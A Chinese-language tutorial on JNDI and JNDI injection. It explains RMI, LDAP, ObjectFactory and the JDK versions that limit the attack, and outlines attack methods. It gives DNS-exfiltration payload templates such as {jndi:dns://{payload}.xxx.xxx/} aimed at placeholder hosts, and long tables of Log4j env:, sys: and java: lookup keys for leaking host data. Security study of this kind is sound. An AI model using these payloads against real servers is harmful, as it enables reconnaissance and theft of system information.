JNDI

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
image
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

Java Naming

命名服务是一种键值对的绑定,使应用程序可以通过键检索值。

Java Directory

目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。
JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。

ObjectFactory

Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。
JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。

LDAP

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的。

RMI

RMI,即 Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架。

JNDI注入

原理

JNDI协议动态转换

JNDI用INITIAL_CONTEXT_FACTORY指定初始化的工厂类,PROVIDER_URL指定资源地址。但在调用lookup()或者search()时,可以使用带URI动态的转换上下文环境,直接使用其他的URI格式去转换上下文环境访问别的服务上的绑定对象而非原本的服务。

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

JDK版本

要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

攻击方式

JNDI+RMI|LDAP获取远程类

利用搭建的恶意RMI或LDAP服务器让受害者服务器获取远程恶意类实例化

利用本地Class作为Reference Factory

在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。

利用LDAP返回序列化数据,触发本地Gadget

利用LDAP向受害者发送序列化的恶意对象,利用本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。

dns外带信息泄露

通过jndi使用dns协议可以将一些信息传出,例如{jndi:idap://xxx.xxx.xxx/{payload}}或{jndi:dns://{payload}.xxx.xxx/}

可利用属性

log4j-java
IDusagemethod
1java:versiongetSystemProperty("java.version")
2java:runtimegetRuntime()
3java:vmgetVirtualMachine()
4java:osgetOperatingSystem()
5java:hwgetHardware()
6java:localegetLocale()
linux
idusage
1env:CLASSPATH
2env:HOME
3env:JAVA_HOME
4env:LANG
5env:LC_TERMINAL
6env:LC_TERMINAL_VERSION
7env:LESS
8env:LOGNAME
9env:LSCOLORS
10env:LS_COLORS
11env:MAIL
12env:NLSPATH
13env:OLDPWD
14env:PAGER
15env:PATH
16env:PWD
17env:SHELL
18env:SHLVL
19env:SSH_CLIENT
20env:SSH_CONNECTION
21env:SSH_TTY
22env:TERM
23env:USER
24env:XDG_RUNTIME_DIR
25env:XDG_SESSION_ID
26env:XFILESEARCHPATH
27env:ZSH
windows
idusage
1env:A8_HOME
2env:A8_ROOT_BIN
3env:ALLUSERSPROFILE
4env:APPDATA
5env:CATALINA_BASE
6env:CATALINA_HOME
7env:CATALINA_OPTS
8env:CATALINA_TMPDIR
9env:CLASSPATH
10env:CLIENTNAME
11env:COMPUTERNAME
12env:ComSpec
13env:CommonProgramFiles
14env:CommonProgramFiles(x86)
15env:CommonProgramW6432
16env:FP_NO_HOST_CHECK
17env:HOMEDRIVE
18env:HOMEPATH
19env:JRE_HOME
20env:Java_Home
21env:LOCALAPPDATA
22env:LOGONSERVER
23env:NUMBER_OF_PROCESSORS
24env:OS
25env:PATHEXT
26env:PROCESSOR_ARCHITECTURE
27env:PROCESSOR_IDENTIFIER
28env:PROCESSOR_LEVEL
29env:PROCESSOR_REVISION
30env:PROMPT
31env:PSModulePath
32env:PUBLIC
33env:Path
34env:ProgramData
35env:ProgramFiles
36env:ProgramFiles(x86)
37env:ProgramW6432
38env:SESSIONNAME
39env:SystemDrive
40env:SystemRoot
41env:TEMP
42env:TMP
43env:ThisExitCode
44env:USERDOMAIN
45env:USERNAME
46env:USERPROFILE
47env:WORK_PATH
48env:windir
49env:windows_tracing_flags
50env:windows_tracing_logfile
log4j2-sys
idusage
1sys:awt.toolkit
2sys:file.encoding
3sys:file.encoding.pkg
4sys:file.separator
5sys:java.awt.graphicsenv
6sys:java.awt.printerjob
7sys:java.class.path
8sys:java.class.version
9sys:java.endorsed.dirs
10sys:java.ext.dirs
11sys:java.home
12sys:java.io.tmpdir
13sys:java.library.path
14sys:java.runtime.name
15sys:java.runtime.version
16sys:java.specification.name
17sys:java.specification.vendor
18sys:java.specification.version
19sys:java.vendor
20sys:java.vendor.url
21sys:java.vendor.url.bug
22sys:java.version
23sys:java.vm.info
24sys:java.vm.name
25sys:java.vm.specification.name
26sys:java.vm.specification.vendor
27sys:java.vm.specification.version
28sys:java.vm.vendor
29sys:java.vm.version
30sys:line.separator
31sys:os.arch
32sys:os.name
33sys:os.version
34sys:path.separator
35sys:sun.arch.data.model
36sys:sun.boot.class.path
37sys:sun.boot.library.path
38sys:sun.cpu.endian
39sys:sun.cpu.isalist
40sys:sun.desktop
41sys:sun.io.unicode.encoding
42sys:sun.java.command
43sys:sun.java.launcher
44sys:sun.jnu.encoding
45sys:sun.management.compiler
46sys:sun.os.patch.level
47sys:sun.stderr.encoding
48sys:user.country
49sys:user.dir
50sys:user.home
51sys:user.language
52sys:user.name
53sys:user.script
54sys:user.timezone
55sys:user.variant